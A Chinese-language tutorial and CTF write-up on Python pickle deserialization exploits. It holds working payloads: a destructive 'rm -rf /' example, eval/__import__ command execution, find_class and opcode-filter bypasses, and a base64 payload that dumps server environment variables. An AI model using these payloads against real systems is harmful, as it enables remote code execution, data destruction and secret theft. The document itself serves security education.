Python pickle 反序列化
Pickle 是 Python 提供的序列化与反序列化模块,用于将 Python 对象转换为字节流或从字节流还原对象。然而,Pickle 的反序列化存在安全隐患,尤其是在处理不可信数据时,可能导致 远程代码执行(RCE) 等严重问题。
pickle 反序列化 == 在执行一段“可以随便跑 Python 代码的脚本”
只要让后台对“你可控的数据”做 pickle.loads(),你就基本可以 RCE(远程执行命令)。
一、什么是(反)序列化
- 序列化(serialize):
把内存里的对象(list、dict、类实例等)→ 变成一串字节 / 字符串,方便:- 写进文件
- 通过网络传输
- 存到缓存 / 数据库
- 反序列化(deserialize):
把这串字节 / 字符串 → 还原成原来的对象。
类比一下:
- 序列化 = 把一个乐高模型拆成零件,打包装箱。
- 反序列化 = 根据说明书把乐高重新拼回来。
在 Python 里:
1 | import pickle |
(dict 是 Python 中非常重要的内置数据类型,全称是字典(dictionary),字典是一种键值对(key-value) 的集合,用于存储数据)
二、什么是 pickle
pickle 是 Python 自带的“二进制序列化”模块,特点:
- 能保存几乎所有 Python 对象(类实例、函数引用等)。
- 序列化后的内容是 Python 专用的二进制协议(
b'\x80\x04...'那种)。 - 协议里不仅有“数据”,还有“如何构造对象”的“指令”。
而 json 这种只是数据格式(数字、字符串、列表、对象),没有“执行逻辑”。
关键区别:
json.loads():只是在读数据。pickle.loads():在执行一段“构造对象的脚本”,可以顺带执行任意代码。
三、 pickle RCE 核心原理
pickle 的协议里有很多“操作码”(opcodes),支持的东西包括:
- 导入一个模块
- 获取一个全局函数
- 调用这个函数,传入参数
- 构造任意类实例,调用它的
__setstate__/__reduce__等特殊方法
所以当你 pickle.loads() 一段数据时,它实际上会:
一边读数据,一边照着这段数据里写的“脚本”一步步执行。
这就导致:
如果反序列化的是用户可控的数据,那么用户写什么,Python 就会乖乖执行什么。
看个最经典的“恶意 pickle 示例”(demo):
1 | import pickle |
关键点:
__reduce__返回(callable, args)- 反序列化时,pickle 会自动做:
callable(*args) - 所以你返回
(os.system, ('rm -rf /',)),就实现了RCE
四、pickle工作原理和常用opcode
pickle可以看作一种独立的栈语言,它由一串串opcode(指令集)组成,该语言的解析是依靠PVM进行的(PVM是一个专门设计用于序列化和反序列化 Python 对象的栈式虚拟机)
PVM由以下三部分组成:
- 指令处理器:从流中读取opcode和参数,并对其进行解释处理,重复这个操作,直到遇到
.这个结束符后停止,最终留在栈顶的值将被作为反序列化对象返回 - stack:由python的list实现,被用来临时存储数据、参数以及对象
- memo:由python的 dict (字典)实现,为PVM的整个生命周期提供存储
●常用opcode
1 | c:获取一个全局对象或import一个模块 //import |
●PVM工作流程
PVM解析str的过程

PVM解析__reduce__()过程

demo
1 | opcode=b'''cos ->c:GLOBAL 操作码 - 导入模块和函数;模块名: os |
五、 pickle 漏洞利用!
pickle.loads(用户可控的数据)
1. 命令执行(RCE)
1 原理(核心就是 __reduce__)
pickle 反序列化一个对象时,会调用它的 __reduce__ / __reduce_ex__。
__reduce__ 要返回一个 “如何重建这个对象” 的说明,一般形如:
1 | def __reduce__(self): |
反序列化时 pickle 会做:
1 | callable(*args) |
那如果
callable = os.system、args = ('ls',)呢?→ 反序列化瞬间执行系统命令 == RCE
2 最小利用 Demo
1 | import pickle |
CTF 实战中经常是:
- 你本地构造 payload:
payload = pickle.dumps(Evil())- 再
base64.b64encode(payload)/hex()/ url 编码
- 然后塞进:
- GET 参数
- POST body
- Cookie(尤其是 session 之类)
- 访问某个 API,后台
loads(),命令就跑了。
3 小结(命令执行要点)
- 关键点:伪造一个反序列化时会执行危险 call 的对象(
__reduce__/__setstate__)。 - 常用 gadget:
os.systemsubprocess.Popen- 有时是题目自带类里封装好的危险函数。
- 对 CTF:一般就是 构造 payload → 触发接口 → 扔反弹 shell / 读 flag。
2. 实例化对象(伪造/构造任意对象)
命令执行是最暴力的,但很多题目并不一定给你 RCE 的 gadget。
但只要服务端把反序列化后的对象用于权限判断 / 业务逻辑,你就可以靠“实例化对象”来打逻辑漏洞。
1 原理:你能决定“反序列化出的对象长什么样”
例子:题目里有个 User 类:
1 | class User: |
正常逻辑想的是:
- 注册用户的时候,只会创建
is_admin=False的User对象; - 然后把它 pickle 存到 cookie 里。
但你现在知道了结构,就可以:
1 | import pickle, base64 |
这里我们没有用到命令执行,只是 伪造了一个“管理员对象”。
这种就是 “实例化任意对象 → 篡改业务逻辑”。
2 实战中常见利用点
伪造权限对象
User(is_admin=True)Role(level=999)Session(verified=True)
构造某种状态对象,绕过校验
比如有代码:1
2if isinstance(obj, VIPUser) and obj.balance > 1000:
send_flag()那你直接构造一个
VIPUser实例,balance = 999999就行。诱导程序走“调试 / 后门”逻辑
某些类可能在特定属性值下,会执行一些危险操作(比如读取文件、连接别的服务);你通过实例化对象,把它导向这条逻辑。
3. 变量覆盖(覆盖关键配置 / 状态)
这个是更进一步的视角:
反序列化出来的对象,经常会被 直接赋值给某些全局变量 / 重要字段。
你控制了对象,就等于控制了这些变量。
1 典型代码模式
1:全局配置被覆盖
1 | import pickle |
如果 data 来自用户(比如上传配置文件),那你可以:
1 | evil_config = { |
结果:
config["debug"] = True→ 可能暴露调试信息 / 交互式 shell;config["secret_key"]被你改成已知 → 可以伪造其他签名;config["admin_only"] = False→ 本来要限制的操作不限制了。
这就是经典的“变量覆盖”利用。
2:session / user 对象覆盖变量
1 | current_user = Anonymous() |
你伪造一个 User(username='admin', is_admin=True),不仅是实例化对象,
还是把全局变量 current_user 给换了 —— 后续所有逻辑都会认为你是 admin。
2 CTF 里怎么识别“变量覆盖”利用点
看源码 / 反编译时,注意这样的模式:
global xxx; xxx = pickle.loads(...)self.config = pickle.loads(...)app.config = pickle.loads(...)settings = pickle.load(f)然后到处用settings[...]
如果:
- 这些数据源头和用户输入有关系(上传、cookie、参数);
- 被赋值给的是“权限 / 配置 / 状态类变量”;
那基本就是 变量覆盖型利用点:
- 你构造一个看似正常的 dict / 对象,
- 但里面的 key / 属性是你想改的敏感变量。
4. 小结
- 命令执行(RCE)
- 目标:直接拿命令执行。
- 手段:
__reduce__/ gadget →(os.system, ('cmd',))。
- 实例化对象
- 目标:通过构造某种“合法对象”来骗业务逻辑。
- 手段:构造
User/Admin/Config等实例,控制属性,绕过权限 / 校验。
- 变量覆盖
- 目标:改掉程序中某些关键变量的值(配置、状态、权限位)。
- 手段:利用反序列化赋值的地方(global / config / session),用你构造的对象 / dict 把它们覆盖。
2+3 搭配:先用变量覆盖搞到 admin,再去访问某个只允许 admin 调的 RCE 功能。
六、绕过
find_class()绕过
对方想用 find_class() 限制你能用哪些类/函数,但写得不严,你就拿“允许的那些东西”当 gadget,绕一圈做到自己想做的事(RCE / 提权 / 变量覆盖)
绕过 find_class 有两个关键点:
find_class()只会在执行c / i / \x93这几条“取全局对象”的 opcode 时调用一次。
只要你在这一步拿到的是一个“看起来安全”的函数(比如eval/__import__/ 某个自定义 gadget),之后再在这个函数内部__import__("os")、调用黑名单函数,find_class()就完全看不到了 → 黑名单形同虚设例如:
1
2
3
4def __reduce__(self):
# 只用白名单里的 builtins.eval
#真正的 os 是在 eval 里面动态 import 出来的
return (eval, ('__import__("os").system("id")',))
例:(这里限制只能用builtins 模块)
1 | import pickle, builtins, io |
利用点:builtins 里面不止有 list / dict,还有一堆危险的:
1 | eval, exec, open, __import__, getattr, setattr, dir, ... |
解决:利用 builtins.eval + __import__ 绕过
我们构造一个对象,它的 __reduce__ 返回 (eval, ('__import__("os").system("id")',)):
1 | import pickle |
这个 pickle 反汇编一下大概是这样(核心部分):
1 | GLOBAL 'builtins' 'eval' |
反序列化过程:
- Unpickler 看到
GLOBAL 'builtins' 'eval'→ 调用自定义find_class("builtins", "eval")→ 允许,通过getattr(builtins, "eval")拿到eval函数。 - 再看到
REDUCE→ 调用eval('__import__("os").system("id")') - 这行代码执行时才真正
import os,再system("id"),完成 RCE。
如果禁了 eval,还可以:
- 用
builtins.__import__+getattr:
__import__("os").popen("cat /flag").read() - 或者允许了其他能执行代码的 gadget
builtins绕过
1.如果靶场代码中通过getattr获取对象的属性名字,因此我们可以通过builtins.getattr(builtins,’eval’)来获取eval函数。
假设有这样的 find_class:
1 | class RestrictedUnpickler(pickle.Unpickler): |
直接用
(eval, (...))做__reduce__:
payload 里会有GLOBAL 'builtins' 'eval'→find_class('builtins','eval')→ 被黑名单拦截。如果改成:
1
2
3
4def __reduce__(self):
import builtins
# 这里 callable 是 builtins.getattr,是被允许的
return (getattr, (builtins, 'eval'))反序列化时做的事是:
getattr(builtins, 'eval')→ 返回 eval 函数本身。
或者:
1 | def __reduce__(self): |
在 pickle opcode 层面:
GLOBAL 'builtins' 'getattr'→find_class('builtins','getattr')✅- 没有出现
GLOBAL 'builtins' 'eval',黑名单感知不到。 - 真正的
eval是在运行时通过getattr拿到的。
2.用 globals() 从全局变量拿模块(绕过 import 限制)
例如:
1 | import os |
解释:
globals()返回当前模块的“全局变量字典”,key 是变量名,value 是对象;- 任何在文件顶部
import的模块(包括自己写的模块),都存在globals()里; - 不需要再调用
__import__,直接通过globals()['os']拿到模块对象。
所以如果对方禁止你用 __import__、禁止你在 pickle 里出现 'os' 'system' 这种组合,但 它在上面已经 import os 过了,你就能:
1 | globals()['os'].system("id") |
完成命令执行,完全不走 find_class('os', 'system') 这条路。
以上绕过小结:
getattr绕过“函数名黑名单”:
不能写eval、system,那就写getattr(builtins, 'eval')、getattr(os_mod, 'system'),
黑名单只看 “直接访问”,看不到你动态取属性。globals()绕过“import 限制”:
不能__import__('os')没关系,很多模块已经在全局变量里了,globals()['os']直接拿来用。- **
find_class()只检查 opcodes 里直接出现的 (module, name),**不管你运行时通过getattr/globals又拿出了多少“黑名单函数”。
禁止R指令的绕过
- 使用i指令
1 | opcode=b'''(S'stao' |
- 使用o指令
1 | opcode=b'''(c__main__ |
- 变量覆盖
1 | opcode = b'''c__main__ |
- b指令
1 | opcode=b'''(c__main__ |
十六进制绕过
在 Python 字符串里用 \x52 代替 'R'
1 | b'R' # 明文 R |
如果过滤器只是 if 'R' in source_code: ... 这样的弱检查,也能被绕。
七、补充:
pickletools的使用
pickletools是python的一个内建模块,常用的方法有pickletools.dis(),用于把一段opcode转换为易读的形式,如:
(在做题时,可用pickletools进行验证写的opcode是否实现)
1 | import pickletools |
输出
1 | 0: c GLOBAL '__main__ secret' |
pker的使用
pker是一个可以把python语言翻译成opcode的工具.
pker支持这三种操作
- 变量赋值:
- 左值可以是变量名,dict或list的item,对象成员
- 右值可以是基础类型字面量,函数调用
- 函数调用
- return:可返回0~1个参数
pker内置了三个函数
1 | GLOBAL('os', 'system') => cos\nsystem\n |
可以用return返回一个对象
1 | return => . |
例题1:[0xGame_2025_week2]马哈鱼商店(Pickle反序列化)
注册登录后,抓包改折扣,购买Pickle

购买成功
得到源码
1 | Use GET To Send Your Loved Data!!! |
这是个pickle,过滤了⼀些不可⻅字符,读取环境变量即可:
1 | import base64 |
运行结果:Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CihTJ2VudicKdFIu
📌代码解释:
csubprocess- c导入subprocess模块check_output- 引用subprocess.check_output函数(S'env'- (开始元组并压入字符串’env’tR- t完成元组并调用函数.- .结束
当服务器反序列化这个payload时,会执行subprocess.check_output(['env']),也就是运行env命令来显示所有环境变量。
payload:?data = Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CihTJ2VudicKdFIu
0xGame{You_Have_Learned_How_to_Buy_Pickle!!}